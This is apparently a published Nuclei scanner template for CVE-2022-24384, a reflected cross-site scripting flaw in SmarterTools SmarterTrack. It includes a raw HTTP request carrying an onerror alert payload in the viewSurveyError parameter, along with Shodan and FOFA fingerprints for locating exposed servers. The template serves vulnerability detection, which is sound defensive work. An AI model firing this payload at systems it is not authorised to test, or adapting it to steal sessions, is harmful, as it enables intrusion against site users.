SmarterTools SmarterTrack - Cross-Site Scripting

ID: CVE-2022-24384

Severity: medium

Author: E1A

Tags: cve,cve2022,xss,smartertrack,smartertools

Description

Cross-site Scripting (XSS) vulnerability in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010.

YAML Source

id: CVE-2022-24384

info:
  name: SmarterTools SmarterTrack - Cross-Site Scripting
  author: E1A
  severity: medium
  description: |
    Cross-site Scripting (XSS) vulnerability in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by SmarterTools to fix this vulnerability.
  reference:
    - https://csirt.divd.nl/CVE-2022-24384
    - https://csirt.divd.nl/DIVD-2021-00029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24384
    cwe-id: CWE-79
    epss-score: 0.00084
    epss-percentile: 0.35729
    cpe: cpe:2.3:a:smartertools:smartertrack:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartertools
    product: smartertrack
    shodan-query: http.favicon.hash:1410071322
    fofa-query: icon_hash=1410071322
  tags: cve,cve2022,xss,smartertrack,smartertools

http:
  - raw:
      - |+
        GET /Main/Default.aspx?viewSurveyError=Unknown+survey"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - '"type":"error","text":"Unknown survey\"><img src=x onerror=alert(document.domain)>"'
          - 'smartertrack'
        condition: and
# digest: 4a0a00473045022100d4c030fc81745cc7eed1a34754bb74846c1e9fd163dad9553ebf5abd3b9e31f6022027ba3bd03b312476092fe81011d2095299ea4700c2ed867ad83161896fed7da4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24384.yaml"

View on Github